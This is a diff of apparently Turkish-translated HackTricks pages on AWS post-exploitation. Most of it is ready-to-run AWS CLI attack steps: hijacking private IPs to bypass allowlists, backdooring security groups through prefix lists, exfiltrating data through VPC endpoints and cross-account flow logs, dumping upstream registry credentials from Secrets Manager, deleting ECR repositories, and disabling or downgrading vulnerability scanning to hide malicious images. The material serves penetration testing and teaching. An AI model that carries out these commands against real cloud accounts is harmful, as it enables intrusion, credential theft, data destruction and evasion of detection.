- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
Adımlar:
|
||||
1) Hedef ENI'den bir ikincil IP seçin
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
2) Korunan hostun yalnızca o IP'ye izin verdiğinden emin olun (idempotent). Eğer SG-to-SG kuralları kullanılıyorsa, atlayın.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) Temel durum: attacker instance'tan PROTECTED_HOST'e yapılan istek, spoofed source olmadan başarısız olmalıdır (ör. SSM/SSH üzerinden).
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
4) Hedef ENI'den ikincil IP'yi ayırın
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
5) attacker ENI'ye aynı IP adresini atayın (AWS CLI v1 için `--allow-reassignment` ekleyin`)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
6) Sahipliğin taşındığını doğrulayın
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
7) Saldırgan instance'tan, korunan hosta erişmek için hijacked IP'ye source-bind yapın (IP'nin işletim sistemine yapılandırıldığından emin olun; değilse `ip addr add $HIJACK_IP/<mask> dev eth0` ile ekleyin)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Etki
|
||||
- Aynı subnet/AZ içindeki ENIs arasında secondary private IPs taşıyarak IP allowlists'lerini atlatın ve VPC içindeki trusted hosts'u taklit edin.
|
||||
- Belirli source IPs ile erişimi kısıtlayan internal services'e erişim sağlayarak lateral movement ve data access'e izin verir.
|
||||
+72
@@ -0,0 +1,72 @@
|
||||
# AWS - Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Özet
|
||||
Müşteri tarafından yönetilen Prefix Lists'i kötüye kullanarak gizli bir erişim yolu oluşturun. Eğer bir security group (SG) kuralı bir managed Prefix List'i referans veriyorsa, o listeyi değiştirebilme yetkisine sahip herhangi biri saldırgan-kontrollü CIDR'leri sessizce ekleyebilir. Listeyi referans veren her SG (ve potansiyel olarak Network ACL veya VPC endpoint) yeni aralıklara, SG'de görünür bir değişiklik olmadan hemen izin verir.
|
||||
|
||||
## Etki
|
||||
- Prefix list'i referans veren tüm SG'ler için izin verilen IP aralıklarının anında genişletilmesi; yalnızca SG düzenlemelerini izleyen değişiklik kontrollerinin atlatılması.
|
||||
- Kalıcı ingress/egress backdoors sağlar: kötü amaçlı CIDR'i prefix list içinde gizli tutarken SG kuralı değişmemiş gibi görünür.
|
||||
|
||||
## Gereksinimler
|
||||
- IAM izinleri:
|
||||
- `ec2:DescribeManagedPrefixLists`
|
||||
- `ec2:GetManagedPrefixListEntries`
|
||||
- `ec2:ModifyManagedPrefixList`
|
||||
- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (ekli SG'leri tanımlamak için)
|
||||
- Opsiyonel: `ec2:CreateManagedPrefixList` (test için yenisini oluşturuyorsanız).
|
||||
- Ortam: Hedef customer-managed Prefix List'i referans veren en az bir SG kuralı.
|
||||
|
||||
## Değişkenler
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
PREFIX_LIST_ID=<pl-xxxxxxxx>
|
||||
ENTRY_CIDR=<attacker-cidr/32>
|
||||
DESCRIPTION="Backdoor – allow attacker"
|
||||
```
|
||||
## Saldırı Adımları
|
||||
|
||||
1) **Enumerate candidate prefix lists and consumers**
|
||||
```bash
|
||||
aws ec2 describe-managed-prefix-lists \
|
||||
--region "$REGION" \
|
||||
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
|
||||
--output table
|
||||
|
||||
aws ec2 get-managed-prefix-list-entries \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--region "$REGION" \
|
||||
--query 'Entries[*].[Cidr,Description]'
|
||||
```
|
||||
`aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` kullanarak listeye bağlı hangi SG kurallarının olduğunu doğrulayın.
|
||||
|
||||
2) **attacker CIDR'yi prefix list'e ekleyin**
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
|
||||
--region "$REGION"
|
||||
```
|
||||
3) **Güvenlik gruplarına yayılımı doğrulayın**
|
||||
```bash
|
||||
aws ec2 describe-security-group-rules \
|
||||
--region "$REGION" \
|
||||
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
|
||||
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
|
||||
--output table
|
||||
```
|
||||
`$ENTRY_CIDR`'den gelen trafik artık prefix list'in referans verildiği her yerde izinli (genellikle egress proxy'lerdeki outbound kuralları veya paylaşılan servislerdeki inbound kuralları).
|
||||
|
||||
## Kanıtlar
|
||||
- `get-managed-prefix-list-entries` saldırgan CIDR'sini ve açıklamayı yansıtır.
|
||||
- `describe-security-group-rules` hala prefix list'e referans veren orijinal SG kuralını gösterir (hiçbir SG değişikliği kaydedilmemiş), fakat yeni CIDR'den gelen trafik başarılı olur.
|
||||
|
||||
## Temizlik
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--remove-entries Cidr="$ENTRY_CIDR" \
|
||||
--region "$REGION"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+68
@@ -0,0 +1,68 @@
|
||||
# AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Özet
|
||||
|
||||
Bu teknik, Internet Gateways veya NAT olmayan subnets'lerden exfiltration channels oluşturmak için VPC Endpoints'i kötüye kullanır. Gateway endpoints (ör. S3) subnet route tables içine prefix‑list rotaları ekler; Interface endpoints (ör. execute-api, secretsmanager, ssm, vb.) security groups ile korunan private IP'lere sahip reachable ENI'ler oluşturur. Minimal VPC/EC2 izinleri ile bir saldırgan, public Internet üzerinden gitmeyen kontrollü bir egress etkinleştirebilir.
|
||||
|
||||
> Önkoşullar: mevcut VPC ve private subnets (no IGW/NAT). VPC endpoints oluşturma izinlerine ve, Option B için, endpoint ENIs'e iliştirilecek bir security group'a ihtiyacınız olacak.
|
||||
|
||||
## Seçenek A – S3 Gateway VPC Endpoint
|
||||
|
||||
**Değişkenler**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `RTB_IDS=<comma-separated route table IDs of private subnets>`
|
||||
|
||||
1) İsteğe bağlı olarak izin verici bir endpoint policy dosyası oluşturun. `allow-put-get-any-s3.json` olarak kaydedin:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
|
||||
}
|
||||
```
|
||||
2) S3 Gateway endpoint oluşturun (seçili route tables'lere S3 prefix‑list route ekler):
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.s3 \
|
||||
--vpc-endpoint-type Gateway \
|
||||
--route-table-ids $RTB_IDS \
|
||||
--policy-document file://allow-put-get-any-s3.json # optional
|
||||
```
|
||||
Yakalanacak kanıtlar:
|
||||
- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` komutu, AWS S3 prefix listesine giden bir rota gösterir (ör. `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
|
||||
- Bu alt ağlardaki bir instance'dan (with IAM perms) İnternet olmadan S3 üzerinden exfil yapabilirsiniz:
|
||||
```bash
|
||||
# On the isolated instance (e.g., via SSM):
|
||||
echo data > /tmp/x.txt
|
||||
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
|
||||
```
|
||||
## Seçenek B – Interface VPC Endpoint for API Gateway (execute-api)
|
||||
|
||||
**Değişkenler**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `SUBNET_IDS=<comma-separated private subnets>`
|
||||
- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
|
||||
|
||||
1) Interface endpoint oluşturun ve SG'yi iliştirin:
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.execute-api \
|
||||
--vpc-endpoint-type Interface \
|
||||
--subnet-ids $SUBNET_IDS \
|
||||
--security-group-ids $SG_VPCE \
|
||||
--private-dns-enabled
|
||||
```
|
||||
Toplanacak kanıtlar:
|
||||
- `aws ec2 describe-vpc-endpoints` endpoint'in `available` durumda olduğunu ve `NetworkInterfaceIds` (subnet'lerinizdeki ENI'ler) gösterir.
|
||||
- Bu subnet'lerdeki instance'lar, bu VPCE ENI'leri üzerinden Private API Gateway endpoint'lerine erişebilir (İnternet yolu gerekmez).
|
||||
|
||||
## Etki
|
||||
- Perimeter egress controls'u, AWS‑managed private paths to AWS services'i kullanarak atlar.
|
||||
- İzole subnet'lerden data exfiltration yapılmasına olanak tanır (ör. S3'e yazma; Private API Gateway çağırma; Secrets Manager/SSM/STS'ye erişme, vb.) IGW/NAT olmadan.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Özet
|
||||
`ec2:CreateFlowLogs`'ı kullanarak VPC, subnet veya ENI flow loglarını doğrudan attacker-controlled S3 bucket'a aktarın. Delivery role external bucket'a yazacak şekilde yapılandırıldığında, izlenen kaynaktaki her bağlantı victim account'tan akıtılır.
|
||||
|
||||
## Gereksinimler
|
||||
- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created).
|
||||
- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`.
|
||||
- Opsiyonel: S3 yerine CloudWatch'a aktarıyorsanız `logs:DescribeLogGroups` (burada gerekli değil).
|
||||
|
||||
## Attack Walkthrough
|
||||
|
||||
1) **Attacker** attacker account'unda, VPC Flow Logs delivery service'in objeleri yazmasına izin veren bir S3 bucket policy hazırlar. Uygulamadan önce placeholder'ları değiştirin:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVPCFlowLogsDelivery",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "delivery.logs.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
|
||||
"Condition": {
|
||||
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Saldırgan hesabından uygula:
|
||||
```bash
|
||||
aws s3api put-bucket-policy \
|
||||
--bucket <attacker-bucket> \
|
||||
--policy file://flowlogs-policy.json
|
||||
```
|
||||
2) **Victim** (compromised principal) attacker bucket'ı hedefleyen flow logs oluşturur:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
VPC_ID=<vpc-xxxxxxxx>
|
||||
ROLE_ARN=<delivery-role-with-logs-permissions> # Must allow delivery.logs.amazonaws.com to assume it
|
||||
aws ec2 create-flow-logs \
|
||||
--resource-type VPC \
|
||||
--resource-ids "$VPC_ID" \
|
||||
--traffic-type ALL \
|
||||
--log-destination-type s3 \
|
||||
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
|
||||
--deliver-logs-permission-arn "$ROLE_ARN" \
|
||||
--region "$REGION"
|
||||
```
|
||||
Birkaç dakika içinde, izlenen VPC/subnet içindeki tüm ENI'lere ait bağlantıları içeren flow log dosyaları attacker bucket'ta görünür.
|
||||
|
||||
## Kanıt
|
||||
|
||||
attacker bucket'a yazılan örnek flow log kayıtları:
|
||||
```text
|
||||
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
|
||||
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
|
||||
```
|
||||
Bucket listeleme kanıtı:
|
||||
```bash
|
||||
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
|
||||
```
|
||||
## Etki
|
||||
- İzlenen VPC/subnet/ENI için sürekli ağ metadata exfiltration (source/destination IPs, ports, protocols).
|
||||
- Trafik analizi, hassas hizmetlerin tespiti ve hedef hesabın dışından security group yanlış yapılandırmaları için hunting yapılmasına olanak tanır.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,92 +0,0 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Daha fazla bilgi için kontrol edin
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Giriş, Çekme & Gönderme
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
İmajları indirdikten sonra **hassas bilgileri kontrol etmelisiniz**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Bu izinlerden herhangi birine sahip bir saldırgan, **depolama alanındaki tüm imajları silmek için bir yaşam döngüsü politikası oluşturabilir veya değiştirebilir** ve ardından **tüm ECR deposunu silebilir**. Bu, depoda saklanan tüm konteyner imajlarının kaybına yol açar.
|
||||
```bash
|
||||
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+210
@@ -0,0 +1,210 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Daha fazla bilgi için bakınız
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Görüntüleri indirdikten sonra **hassas bilgiler açısından kontrol etmelisiniz**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Bu izinlerden herhangiğine sahip bir saldırgan, **repository içindeki tüm görüntüleri silmek için bir lifecycle policy oluşturabilir veya mevcut bir lifecycle policy'yi değiştirebilir** ve ardından **tüm ECR repository'sini silebilir**. Bu, repository'de depolanan tüm container görüntülerinin kaybına yol açar.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Eğer ECR Pull‑Through Cache yetkilendirilmiş upstream registries (Docker Hub, GHCR, ACR, vb.) için yapılandırıldıysa, upstream credentials AWS Secrets Manager içinde öngörülebilir bir isim önekiyle saklanır: `ecr-pullthroughcache/`. Operatörler bazen ECR yöneticilerine geniş Secrets Manager okuma erişimi verir; bu durum credential exfiltration ve AWS dışında yeniden kullanımına olanak tanır.
|
||||
|
||||
Gereksinimler
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
PTC için aday secrets'leri listeleme
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Keşfedilen gizli bilgileri dök ve ortak alanları ayrıştır
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
aws secretsmanager get-secret-value --secret-id "$s" \
|
||||
--query SecretString --output text | tee /tmp/ptc_secret.json
|
||||
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
İsteğe bağlı: leaked creds'i upstream'e karşı doğrulayın (read‑only login)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impact
|
||||
- Bu Secrets Manager girdilerinin okunması, yeniden kullanılabilir upstream registry kimlik bilgileri (username/password or token) sağlar; bunlar AWS dışında özel görüntüleri çekmek veya upstream izinlerine bağlı olarak ek depolara erişmek için kötüye kullanılabilir.
|
||||
|
||||
|
||||
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Registry düzeyinde ECR izinlerine sahip bir saldırgan, registry tarama yapılandırmasını BASIC olarak ayarlayıp scan-on-push kuralları eklemeden, TÜM repolardaki otomatik zafiyet taramalarını sessizce azaltabilir veya devre dışı bırakabilir. Bu, yeni image push'larının otomatik olarak taranmasını engeller ve zafiyetli veya kötü amaçlı görüntüleri gizler.
|
||||
|
||||
Requirements
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (isteğe bağlı, repo başına)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (doğrulama)
|
||||
|
||||
Registry genelinde manuel moda düşürme (otomatik tarama yok)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
aws ecr get-registry-scanning-configuration --region "$REGION"
|
||||
|
||||
# Set BASIC scanning with no rules (results in MANUAL scanning only)
|
||||
aws ecr put-registry-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
Bir repo ve image ile test
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
|
||||
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
|
||||
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
|
||||
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
|
||||
|
||||
# Verify no scan ran automatically
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
İsteğe bağlı: repo kapsamı düzeyinde daha fazla zayıflatma
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--repository-name "$repo" \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Etkisi
|
||||
- Kayıt defteri genelindeki yeni image push'ları otomatik olarak taranmaz; bu, zafiyetli veya kötü amaçlı içeriğin görünürlüğünü azaltır ve tespitin elle başlatılan bir taramaya kadar gecikmesine neden olur.
|
||||
|
||||
|
||||
### Kayıt defteri genelinde tarama motorunun düşürülmesi `ecr:PutAccountSetting` aracılığıyla (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Tüm kayıt defteri genelinde BASIC tarama motorunu varsayılan AWS_NATIVE'den eski CLAIR motoruna geçirerek zafiyet tespiti kalitesini düşürün. Bu, taramaları devre dışı bırakmaz ancak bulgular/kapsam üzerinde önemli değişiklikler yapabilir. Taramaları yalnızca elle yapılır hale getirmek için kural içermeyen BASIC kayıt defteri tarama yapılandırması ile birleştirin.
|
||||
|
||||
Gereksinimler
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (İsteğe bağlı) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Etkisi
|
||||
- Kayıt ayarı `BASIC_SCAN_TYPE_VERSION` `CLAIR` olarak ayarlanır; böylece sonraki BASIC taramaları düşürülmüş motorla çalışır. CloudTrail, `PutAccountSetting` API çağrısını kaydeder.
|
||||
|
||||
Adımlar
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Read current value so you can restore it later
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
|
||||
|
||||
# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
|
||||
|
||||
# 3) Verify the setting
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
|
||||
|
||||
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
|
||||
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
|
||||
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
@@ -1,57 +0,0 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
